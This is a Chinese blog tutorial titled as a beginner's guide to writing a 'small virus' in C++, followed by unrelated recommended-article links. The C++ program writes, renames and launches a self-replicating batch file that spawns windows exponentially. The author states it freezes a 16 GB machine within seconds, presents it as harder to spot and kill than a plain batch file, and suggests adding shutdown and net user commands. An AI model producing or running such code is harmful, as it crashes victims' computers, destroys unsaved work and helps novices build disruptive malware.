用C++写一个简单小病毒(零基础奶妈级教学,不可能学完还不懂)
相信大家都玩过这样的一个批处理代码吧
:1
start cmd
goto 1
把这些代码复制去一个txt文件,然后更改后缀为.bat 或.cmd,就可以实现弹窗炸弹
但是,作为一个病毒,这个简单恶搞代码有着致命缺陷
1.可以直接改后缀轻松识破,很难掩藏
2.杀伤力不足,可以手动“关闭全部窗口”轻松杀死
于是,我想了个简单方法来处理这两个问题
1.system函数
知周所众,C++中有一个很方便的函数就做system(),可以调用控制台命令
需要头文件stdlib.h
#include<bits/stdc++.h> // 其实万能头文件里包含了stdlib.h
#include<stdlib.h>//但是还是写一遍
using namespace std;
int main(){system(" ");
}
2.freopen
文件读写操作,可以用它生成一个out文件
freopen("11.out","w",stdout);
其中11.out是文件名,w的意思是写入,stdout是标准输出流,你cout的东西就会被输出到11.out中
然后再输入代码
cout << " ";
fclose关闭文件
fclose(stdout);
ren命令改变文件名
system("ren 11.out 11.bat");
然后,重点来了
2.核心
小病毒的核心就是使用C++生成一个bat文件(因为bat文件打开速度贼快,可以高速卡内存)然后里面写一个循环,并且不断自我调用(有点递归的感觉了lol)
cout << ":1\nstart 11.bat\ngoto 1"
(\n:换行)
相比开头的小代码,看上去有点多次一举是吧?
但是,这个内核生成窗口(弹窗轰炸)的速度是指数级增长的,因为它开启的文件会继续打开自己,同时它本身也在不断开启自己
本人实测,16gb的内存条几秒钟就可以卡掉
最后,上完整版代码
#include<bits/stdc++.h>
using namespace std;
int main(){freopen("11.out","w",stdout);cout << ":1 \n start 11.bat \n goto 1";fclose(stdout);system("ren 11.out 11.bat");system("start 11.bat");
}
学完这些后,你还可以自自行发挥批处理知识写一写其它的东西,什么shutdown啊netuser啊,这里不作赘述
后来我才知道可以直接文件读写进bat,但是不想改了
用C++写一个简单小病毒(零基础奶妈级教学,不可能学完还不懂)相关推荐
- python写的篮球文字游戏_python制作一个简单的文字游戏——零基础学python 004
前言: 之前我们简单的学习了一些函数,所谓学以致用.那么我们看看用这几个函数能够做出怎么样的文字游戏? 游戏的思路很简单,要求输入一个程序已经设置好的数字,猜中了返回一句话话,猜错了返回一句话:然而只 ...
- 如何写一个脚本语言_零基础小白如何学会写文案?文案写作技巧之一:如何写一个吸引读者的文案开头...
我文笔不好怎样才能够写出优质的文案?很多人都有这个疑问,包括我自己在学习新媒体运营之前,这也是我最大的困惑.现在是内容为王的时代,你的文章质量决定了你的KPI. 后来我学习了文章的写作结构和技巧后,就 ...
- python制作一个简单的文字游戏——零基础学python 004
前言: 之前我们简单的学习了一些函数,所谓学以致用.那么我们看看用这几个函数能够做出怎么样的文字游戏? 游戏的思路很简单,要求输入一个程序已经设置好的数字,猜中了返回一句话话,猜错了返回一句话:然而只 ...
- 如何写一个简单的病毒程序
引:前些天学病毒这门技术着实吃了很多苦头,走了很多弯路,尽管按我的知识水平,病毒已经是水到渠成的学习内容了.但是我现在学了入门才发现这门技术实际 上隐藏着很多玄机,包含着许多技术,不专门学习研究根本无 ...
- java简单课程设计_!高分跪求帮忙写一个简单小程序的JAVA课程设计报告(内详!!)...
展开全部 连连看java源代码 import javax.swing.*; import java.awt.*; import java.awt.event.*; public class lianl ...
- python可以做机器人吗_零基础如何用Python写一个简单的WeChat机器人?(内附代码)...
(bing图片) python这两年热火朝天,依托其众多类库,基于python的应用层出不穷,也大大降低了非计算机专业人员的入门门槛,WeChat机器人自然不在话下!-- 聪明的瓦肯人 苦于有时候总是 ...
- c语言写一个简单的小游戏-推箱子
在学习C语言之后,写了一个简单的小游戏来锻炼自己的代码以及C语言知识的掌握能力. 推箱子作为手机上最常见的简单游戏,其代码也相对简单,想法也比较简单,下面为其代码和运行图. /************ ...
- 使用Qt写一个简单的五子棋单机小游戏
使用Qt写一个简单的五子棋单机小游戏 刚学,不够专业请勿喷,有不对的地方还请指出,我渴望进步!现在贴出这个游戏我原创的所有代码.希望可以帮到有需要的人. 游戏界面: 因为后面添加了.wav的音频文件, ...
- 一个简单的c 游戏编程语言,编程达人 c语言写一个简单的小游戏-推箱子
在学习C语言之后,写了一个简单的小游戏来锻炼自己的代码以及C语言知识的掌握能力. 推箱子作为手机上最常见的简单游戏,其代码也相对简单,想法也比较简单,下面为其代码和运行图. /************ ...
最新文章
- “四非”高校南京工业大学,17天内三连击Nature、Science!实为深藏不露
- [mybatis]Configuration XML_typeHandlers
- [AtCoder Beginner Contest 216] 题解
- centos php日志分析,记录一下CentOS7安装GoAccess日志分析工具
- java 找不到或无法加载类_解决Java中找不到或无法加载主类错误
- [转]我对CTO的理解
- C# vs MySql
- 入门-什么是webshell?
- 如何代理物联卡?需要什么流程认证?
- 三大杀毒软件存严重漏洞,杀软可变黑客工具
- java链表打印_java链表打印
- 10个好用的免费图片网站,绝对能在2021年设计上好帮手
- 【武汉加油!中国加油!】挑战七天 实现机器视觉检测有没有戴口罩系统——第四五六七天
- 基于python的数字图像处理--学习笔记(二)
- SIM800C错误小结
- Win10不进行操作很快自动睡眠、休眠的解决方法
- 【Kernel】驱动开发学习之Platform平台总线模型
- PyQt(Python+Qt)学习随笔:Qt Designer中部件的调色板palette属性和字体font属性设置
- _getch() 和 getch() 及 _T()
- Facebook也要玩智能眼镜
热门文章
- 微软声学回声消除demo AECMicArray的使用
- C语言程序设计入门——水仙花数
- 中兴通讯携手CLAA合作伙伴,开创共享共建物联网新时代
- 临床执业助理医师(综合练习)题库【4】
- 现代大学英语精读第二版(第四册)学习笔记(原文及全文翻译)——16B - Is Everybody Happy?(人人都幸福吗?)
- 基于SIR的社交网络谣言传播问题简单建模
- Wordcount()--ASP字数计算函数
- 卡梅 计算机生物专业怎么样,【智友学子】X同学----卡耐基梅隆大学 计算生物学...
- starrocker关联hive外表
- Python Turtle 小项目 8 各种音符的绘制